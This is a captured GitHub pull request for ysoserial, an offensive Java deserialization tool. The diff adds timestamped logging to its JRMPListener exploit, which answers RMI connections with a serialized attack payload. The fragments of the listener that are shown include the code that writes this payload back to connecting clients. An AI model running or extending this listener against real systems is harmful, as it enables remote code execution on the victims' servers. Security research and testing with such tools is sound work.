Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Timestamps to JRMPListener exploit output #101

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 15 additions & 8 deletions src/main/java/ysoserial/exploit/JRMPListener.java
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,8 @@
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import java.util.Date;
import java.text.SimpleDateFormat;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
Expand Down Expand Up @@ -75,7 +77,7 @@ public boolean waitFor ( int i ) {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
printLogEntry("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
Expand Down Expand Up @@ -114,7 +116,7 @@ public static final void main ( final String[] args ) {

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
printLogEntry("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
Expand All @@ -134,7 +136,7 @@ public void run () {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
printLogEntry("Have connection from " + remote);

InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
Expand Down Expand Up @@ -172,7 +174,7 @@ public void run () {
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
printLogEntry("Unsupported protocol");
s.close();
continue;
}
Expand All @@ -187,7 +189,7 @@ public void run () {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
printLogEntry("Closing connection");
s.close();
}

Expand All @@ -214,7 +216,7 @@ public void run () {


private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
printLogEntry("Reading message...");

int op = in.read();

Expand Down Expand Up @@ -269,10 +271,10 @@ protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, C
if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
printLogEntry("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);
printLogEntry("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
Expand Down Expand Up @@ -309,6 +311,11 @@ protected static Object makeDummyObject (String className) {
}
}

private static void printLogEntry(String message) {
Date now = new Date();
SimpleDateFormat sdf = new SimpleDateFormat("MM/dd/yyyy HH:mm:ss");
System.err.println(sdf.format(now)+": "+message);
}

public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
Expand Down